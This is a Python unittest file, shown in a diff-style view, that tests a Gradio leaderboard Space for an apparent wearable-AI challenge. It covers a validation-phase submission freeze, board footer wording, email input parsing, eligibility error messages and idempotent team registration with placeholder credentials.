|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""The validation freeze, and specifically that it is not just the button.
|
| 3 |
+
|
| 4 |
+
Disabling a Gradio button hides an action; it does not remove the endpoint
|
| 5 |
+
behind it. So what these pin is the server-side refusal, plus the two things
|
| 6 |
+
that must keep working while the phase is closed: the format checker, which
|
| 7 |
+
writes nothing, and the test-phase path, which is a different phase.
|
| 8 |
+
"""
|
| 9 |
+
|
| 10 |
+
from __future__ import annotations
|
| 11 |
+
|
| 12 |
+
import os
|
| 13 |
+
import sys
|
| 14 |
+
import unittest
|
| 15 |
+
from unittest import mock
|
| 16 |
+
|
| 17 |
+
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
|
| 18 |
+
|
| 19 |
+
import config # noqa: E402
|
| 20 |
+
import submit # noqa: E402
|
| 21 |
+
|
| 22 |
+
ONE_ROW = '{"video_path": "a.mp4", "answers": ["x"]}\n'
|
| 23 |
+
|
| 24 |
+
ARGS = dict(
|
| 25 |
+
hf_user="someone",
|
| 26 |
+
track="convqa",
|
| 27 |
+
division="small",
|
| 28 |
+
team_name="A Team",
|
| 29 |
+
model_name="m",
|
| 30 |
+
license_str="mit",
|
| 31 |
+
open_weight=True,
|
| 32 |
+
total_params=1_000_000_000,
|
| 33 |
+
active_params=1_000_000_000,
|
| 34 |
+
predictions_raw=ONE_ROW,
|
| 35 |
+
token="not-a-real-token",
|
| 36 |
+
)
|
| 37 |
+
|
| 38 |
+
|
| 39 |
+
class ValPhaseFreezeTest(unittest.TestCase):
|
| 40 |
+
def test_closed_by_default(self) -> None:
|
| 41 |
+
"""The freeze must not depend on anyone setting a secret."""
|
| 42 |
+
self.assertFalse(
|
| 43 |
+
config.VAL_PHASE_OPEN,
|
| 44 |
+
"VAL_PHASE_OPEN defaults open, so shipping this would not freeze "
|
| 45 |
+
"anything until a secret was set",
|
| 46 |
+
)
|
| 47 |
+
|
| 48 |
+
def test_submit_is_refused_while_closed(self) -> None:
|
| 49 |
+
with mock.patch.object(config, "VAL_PHASE_OPEN", False):
|
| 50 |
+
ok, msg = submit.validate_and_submit(**ARGS)
|
| 51 |
+
self.assertFalse(ok)
|
| 52 |
+
self.assertIn("Validation Phase is closed", msg)
|
| 53 |
+
|
| 54 |
+
def test_the_refusal_happens_before_anything_is_read_or_written(self) -> None:
|
| 55 |
+
"""A closed phase is not a validation failure.
|
| 56 |
+
|
| 57 |
+
If the freeze sat after validate_only(), a team with a malformed file
|
| 58 |
+
would be told to fix the file, and a team with a good one would have it
|
| 59 |
+
parsed and uploaded before being refused.
|
| 60 |
+
"""
|
| 61 |
+
with mock.patch.object(config, "VAL_PHASE_OPEN", False):
|
| 62 |
+
with mock.patch.object(
|
| 63 |
+
submit, "parse_predictions", side_effect=AssertionError("parsed")
|
| 64 |
+
):
|
| 65 |
+
ok, msg = submit.validate_and_submit(**ARGS)
|
| 66 |
+
self.assertFalse(ok)
|
| 67 |
+
self.assertIn("Validation Phase is closed", msg)
|
| 68 |
+
|
| 69 |
+
def test_reopening_gets_past_the_freeze(self) -> None:
|
| 70 |
+
"""The control: with the flag flipped the refusal must disappear.
|
| 71 |
+
|
| 72 |
+
It still fails, on the row count, which is the point. A test that only
|
| 73 |
+
checked the closed case would pass against a freeze that refuses
|
| 74 |
+
everything unconditionally.
|
| 75 |
+
"""
|
| 76 |
+
with mock.patch.object(config, "VAL_PHASE_OPEN", True):
|
| 77 |
+
ok, msg = submit.validate_and_submit(**ARGS)
|
| 78 |
+
self.assertFalse(ok, "one row is not a valid submission")
|
| 79 |
+
self.assertNotIn("Validation Phase is closed", msg)
|
| 80 |
+
self.assertIn("700", msg)
|
| 81 |
+
|
| 82 |
+
def test_the_format_checker_still_works_while_closed(self) -> None:
|
| 83 |
+
"""It writes nothing and is useful to a team preparing for the test."""
|
| 84 |
+
with mock.patch.object(config, "VAL_PHASE_OPEN", False):
|
| 85 |
+
ok, msg = submit.validate_only(
|
| 86 |
+
track="convqa",
|
| 87 |
+
division="small",
|
| 88 |
+
total_params=1_000_000_000,
|
| 89 |
+
active_params=1_000_000_000,
|
| 90 |
+
predictions_raw=ONE_ROW,
|
| 91 |
+
)
|
| 92 |
+
self.assertFalse(ok)
|
| 93 |
+
self.assertNotIn("closed", msg.lower())
|
| 94 |
+
|
| 95 |
+
def test_the_notice_reads_correctly_in_both_places(self) -> None:
|
| 96 |
+
"""It is shown on the Leaderboard tab and the Submit tab."""
|
| 97 |
+
notice = config.VAL_CLOSED_NOTICE
|
| 98 |
+
for word in ("below", "above"):
|
| 99 |
+
self.assertNotIn(
|
| 100 |
+
word,
|
| 101 |
+
notice.lower(),
|
| 102 |
+
"the notice is placed on two tabs, so it cannot point at one",
|
| 103 |
+
)
|
| 104 |
+
self.assertIn("closed", notice.lower())
|
| 105 |
+
|
| 106 |
+
|
| 107 |
+
class BoardFooterTest(unittest.TestCase):
|
| 108 |
+
"""What the board says about its own freshness.
|
| 109 |
+
|
| 110 |
+
The footer used to hardcode "auto-refreshes every 60s" regardless of the
|
| 111 |
+
timer, so the Test board advertised 60 while refreshing every 120. It is now
|
| 112 |
+
driven by the interval the caller actually set, which is the same value that
|
| 113 |
+
decides whether a timer exists at all.
|
| 114 |
+
"""
|
| 115 |
+
|
| 116 |
+
def setUp(self) -> None:
|
| 117 |
+
import pandas as pd
|
| 118 |
+
|
| 119 |
+
import results
|
| 120 |
+
|
| 121 |
+
self.results = results
|
| 122 |
+
self.df = pd.DataFrame(
|
| 123 |
+
[
|
| 124 |
+
{
|
| 125 |
+
"phase": "val",
|
| 126 |
+
"status": "FINISHED",
|
| 127 |
+
"verified_at": "2026-08-01T10:00:00Z",
|
| 128 |
+
},
|
| 129 |
+
{
|
| 130 |
+
"phase": "val",
|
| 131 |
+
"status": "FINISHED",
|
| 132 |
+
"verified_at": "2026-08-07T22:31:04Z",
|
| 133 |
+
},
|
| 134 |
+
]
|
| 135 |
+
)
|
| 136 |
+
|
| 137 |
+
def test_a_frozen_board_advertises_no_refresh(self) -> None:
|
| 138 |
+
line = self.results._footer_line(self.df, "val", None)
|
| 139 |
+
self.assertNotIn("refresh", line.lower())
|
| 140 |
+
self.assertIn("Final standings", line)
|
| 141 |
+
|
| 142 |
+
def test_a_frozen_board_reports_the_age_of_the_data(self) -> None:
|
| 143 |
+
"""Not its render time, which for a final board means nothing."""
|
| 144 |
+
line = self.results._footer_line(self.df, "val", None)
|
| 145 |
+
self.assertIn("2026-08-07 22:31:04", line, "the latest scored submission")
|
| 146 |
+
self.assertNotIn("2026-08-01", line, "not the earliest")
|
| 147 |
+
|
| 148 |
+
def test_the_advertised_interval_is_the_one_that_was_set(self) -> None:
|
| 149 |
+
for seconds, expected in [(300, "every 5 min"), (60, "every 1 min"), (90, "every 90s")]:
|
| 150 |
+
with self.subTest(seconds=seconds):
|
| 151 |
+
self.assertIn(expected, self.results._footer_line(self.df, "val", seconds))
|
| 152 |
+
|
| 153 |
+
def test_no_timer_is_created_for_a_frozen_board(self) -> None:
|
| 154 |
+
"""The footer is a claim; this is the behaviour behind it.
|
| 155 |
+
|
| 156 |
+
Read as source rather than imported: app.py needs gradio, which is not
|
| 157 |
+
installed everywhere the tests run, and a test that skips itself when a
|
| 158 |
+
dependency is missing reports nothing while looking green.
|
| 159 |
+
"""
|
| 160 |
+
path = os.path.join(
|
| 161 |
+
os.path.dirname(os.path.abspath(__file__)), os.pardir, "app.py"
|
| 162 |
+
)
|
| 163 |
+
with open(path) as fh:
|
| 164 |
+
src = fh.read()
|
| 165 |
+
board = src[src.index("def _phase_board("):]
|
| 166 |
+
board = board[: board.index("\ndef ", 1)]
|
| 167 |
+
self.assertIn("if interval:", board, "the timer must be conditional")
|
| 168 |
+
self.assertNotIn(
|
| 169 |
+
"gr.Timer(interval).tick(\n lambda o: _iframe(phase, o, force=True)\n",
|
| 170 |
+
board.replace("if interval:", ""),
|
| 171 |
+
)
|
| 172 |
+
tab = src[src.index("def leaderboard_tab():"):]
|
| 173 |
+
tab = tab[: tab.index("\ndef ", 1)]
|
| 174 |
+
self.assertIn('_phase_board("val", None', tab, "validation must not poll")
|
| 175 |
+
self.assertIn('_phase_board("test", 300', tab, "test polls every 5 min")
|
| 176 |
+
|
| 177 |
+
|
| 178 |
+
class PointOfContactInputTest(unittest.TestCase):
|
| 179 |
+
"""The members box above asks for `Name, email`, so people paste that here.
|
| 180 |
+
|
| 181 |
+
Rejecting it is technically correct and useless: the participant has typed
|
| 182 |
+
their own address correctly and is told it is not an address.
|
| 183 |
+
"""
|
| 184 |
+
|
| 185 |
+
def setUp(self) -> None:
|
| 186 |
+
import register_test
|
| 187 |
+
|
| 188 |
+
self.rt = register_test
|
| 189 |
+
|
| 190 |
+
def test_a_bare_address_is_accepted(self) -> None:
|
| 191 |
+
self.assertEqual(self.rt.parse_email("ada@example.com")[0], "ada@example.com")
|
| 192 |
+
|
| 193 |
+
def test_a_pasted_roster_line_is_accepted(self) -> None:
|
| 194 |
+
for raw in ("Ada Lovelace, ada@example.com", " Ada Lovelace , ada@example.com "):
|
| 195 |
+
with self.subTest(raw=raw):
|
| 196 |
+
self.assertEqual(self.rt.parse_email(raw)[0], "ada@example.com")
|
| 197 |
+
|
| 198 |
+
def test_two_addresses_are_still_refused(self) -> None:
|
| 199 |
+
"""Ambiguous, so guessing one would write to the wrong person."""
|
| 200 |
+
got, why = self.rt.parse_email("ada@example.com, alan@example.org")
|
| 201 |
+
self.assertIsNone(got)
|
| 202 |
+
self.assertIn("does not look like an email", why)
|
| 203 |
+
|
| 204 |
+
def test_the_refusal_says_what_to_type(self) -> None:
|
| 205 |
+
_, why = self.rt.parse_email("Ada Lovelace")
|
| 206 |
+
self.assertIn("Enter just the address", why)
|
| 207 |
+
self.assertIn("ada@example.com", why)
|
| 208 |
+
|
| 209 |
+
def test_an_empty_box_is_still_refused(self) -> None:
|
| 210 |
+
self.assertIsNone(self.rt.parse_email("")[0])
|
| 211 |
+
|
| 212 |
+
|
| 213 |
+
class EligibilityFailureMessagesTest(unittest.TestCase):
|
| 214 |
+
"""Which failure the participant is told about.
|
| 215 |
+
|
| 216 |
+
All three sources used to load in one try, so a missing credentials file
|
| 217 |
+
reported as "could not check eligibility": the opposite of what happened,
|
| 218 |
+
since eligibility was never checked, and it told a shortlisted team to retry
|
| 219 |
+
something that could not succeed until an organizer uploaded a file.
|
| 220 |
+
"""
|
| 221 |
+
|
| 222 |
+
def setUp(self) -> None:
|
| 223 |
+
import config
|
| 224 |
+
import register_test
|
| 225 |
+
|
| 226 |
+
self.rt = register_test
|
| 227 |
+
self.config = config
|
| 228 |
+
self.args = dict(
|
| 229 |
+
hf_user="someone",
|
| 230 |
+
team_name="A Team",
|
| 231 |
+
track="convqa",
|
| 232 |
+
division="small",
|
| 233 |
+
members="Ada Lovelace, ada@example.com",
|
| 234 |
+
poc="ada@example.com",
|
| 235 |
+
model_name="m",
|
| 236 |
+
total_params_b=1,
|
| 237 |
+
)
|
| 238 |
+
|
| 239 |
+
def issue(self):
|
| 240 |
+
with mock.patch.object(self.config, "TEST_PHASE_OPEN", True):
|
| 241 |
+
return self.rt.issue(mock.MagicMock(), **self.args)
|
| 242 |
+
|
| 243 |
+
def test_a_missing_credentials_file_is_not_reported_as_an_eligibility_problem(self):
|
| 244 |
+
"""It is a state, not a failure: nothing has been issued yet."""
|
| 245 |
+
from huggingface_hub.errors import EntryNotFoundError
|
| 246 |
+
|
| 247 |
+
with mock.patch.object(self.rt, "load_shortlist", return_value={"a team": {"convqa/small": {}}}), \
|
| 248 |
+
mock.patch.object(self.rt, "validation_pairs", return_value={("someone", "a team")}), \
|
| 249 |
+
mock.patch.object(self.rt, "load_credentials", side_effect=EntryNotFoundError("404")):
|
| 250 |
+
ok, msg = self.issue()
|
| 251 |
+
self.assertFalse(ok)
|
| 252 |
+
self.assertIn("shortlisted", msg)
|
| 253 |
+
self.assertIn("not been issued yet", msg)
|
| 254 |
+
self.assertNotIn("Could not read", msg)
|
| 255 |
+
self.assertNotIn("retry in a few minutes", msg)
|
| 256 |
+
|
| 257 |
+
def test_an_unreadable_shortlist_says_so(self) -> None:
|
| 258 |
+
with mock.patch.object(self.rt, "load_shortlist", side_effect=OSError("boom")):
|
| 259 |
+
ok, msg = self.issue()
|
| 260 |
+
self.assertFalse(ok)
|
| 261 |
+
self.assertIn("shortlist", msg.lower())
|
| 262 |
+
self.assertIn("on our side", msg)
|
| 263 |
+
|
| 264 |
+
def test_unreadable_validation_results_say_so(self) -> None:
|
| 265 |
+
with mock.patch.object(self.rt, "load_shortlist", return_value={}), \
|
| 266 |
+
mock.patch.object(self.rt, "validation_pairs", side_effect=OSError("boom")):
|
| 267 |
+
ok, msg = self.issue()
|
| 268 |
+
self.assertFalse(ok)
|
| 269 |
+
self.assertIn("validation results", msg.lower())
|
| 270 |
+
|
| 271 |
+
def test_no_message_leaks_the_private_repo_path(self) -> None:
|
| 272 |
+
"""The reason they were generic in the first place."""
|
| 273 |
+
for patch in (
|
| 274 |
+
mock.patch.object(self.rt, "load_shortlist", side_effect=OSError("facebook/wearable-ai-leaderboard-requests/admin/x.json")),
|
| 275 |
+
):
|
| 276 |
+
with patch:
|
| 277 |
+
_, msg = self.issue()
|
| 278 |
+
self.assertNotIn("wearable-ai-leaderboard-requests", msg)
|
| 279 |
+
self.assertNotIn("admin/", msg)
|
| 280 |
+
|
| 281 |
+
|
| 282 |
+
class RegistrationIsIdempotentTest(unittest.TestCase):
|
| 283 |
+
"""Registering the same seat twice.
|
| 284 |
+
|
| 285 |
+
Idempotent in the ways that matter: nothing is minted, no submission slot is
|
| 286 |
+
spent, and the same credentials come back. The ledger is deliberately NOT
|
| 287 |
+
idempotent, one row per claim, because it records how many times a key was
|
| 288 |
+
shown rather than acting as a lock; a team that loses the page has to be
|
| 289 |
+
able to get it back.
|
| 290 |
+
"""
|
| 291 |
+
|
| 292 |
+
def setUp(self) -> None:
|
| 293 |
+
import config
|
| 294 |
+
import register_test
|
| 295 |
+
|
| 296 |
+
self.rt = register_test
|
| 297 |
+
self.config = config
|
| 298 |
+
self.cred = {
|
| 299 |
+
"repo_uri": "1234.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/a-team",
|
| 300 |
+
"access_key_id": "AKIAIOSFODNN7EXAMPLE",
|
| 301 |
+
"secret_access_key": "not-a-real-secret",
|
| 302 |
+
"region": "us-east-2",
|
| 303 |
+
}
|
| 304 |
+
|
| 305 |
+
def issue_twice(self, params=(1, 1)):
|
| 306 |
+
api = mock.MagicMock()
|
| 307 |
+
out = []
|
| 308 |
+
with mock.patch.object(self.config, "TEST_PHASE_OPEN", True), \
|
| 309 |
+
mock.patch.object(self.rt, "load_shortlist",
|
| 310 |
+
return_value={"a team": {"convqa/small": {}}}), \
|
| 311 |
+
mock.patch.object(self.rt, "validation_pairs",
|
| 312 |
+
return_value={("someone", "a team")}), \
|
| 313 |
+
mock.patch.object(self.rt, "load_credentials",
|
| 314 |
+
return_value={"a team": self.cred}):
|
| 315 |
+
for p in params:
|
| 316 |
+
out.append(
|
| 317 |
+
self.rt.issue(api, "someone", "A Team", "convqa", "small",
|
| 318 |
+
"Ada Lovelace, ada@example.com", "ada@example.com",
|
| 319 |
+
"m", p)
|
| 320 |
+
)
|
| 321 |
+
return api, out
|
| 322 |
+
|
| 323 |
+
def test_the_same_credentials_come_back(self) -> None:
|
| 324 |
+
_, out = self.issue_twice()
|
| 325 |
+
self.assertTrue(all(ok for ok, _ in out))
|
| 326 |
+
self.assertEqual(out[0][1], out[1][1], "the second claim must render the same")
|
| 327 |
+
|
| 328 |
+
def test_a_second_claim_writes_its_own_ledger_row(self) -> None:
|
| 329 |
+
"""Not a duplicate: the ledger counts disclosures."""
|
| 330 |
+
api, _ = self.issue_twice()
|
| 331 |
+
paths = [
|
| 332 |
+
c.kwargs.get("path_in_repo")
|
| 333 |
+
for c in api.upload_file.call_args_list
|
| 334 |
+
if str(c.kwargs.get("path_in_repo", "")).startswith(self.rt.LEDGER_DIR)
|
| 335 |
+
]
|
| 336 |
+
self.assertEqual(len(paths), 2)
|
| 337 |
+
self.assertEqual(len(set(paths)), 2, "rows must not collide and overwrite")
|
| 338 |
+
|
| 339 |
+
def test_no_credential_is_ever_created_by_registering(self) -> None:
|
| 340 |
+
"""The Space cannot mint. It looks a team up in a deposited map."""
|
| 341 |
+
src = open(
|
| 342 |
+
os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir,
|
| 343 |
+
"register_test.py")
|
| 344 |
+
).read()
|
| 345 |
+
for verb in ("create-access-key", "create_access_key", "boto3", "iam"):
|
| 346 |
+
self.assertNotIn(verb, src, f"registration must not reach for {verb}")
|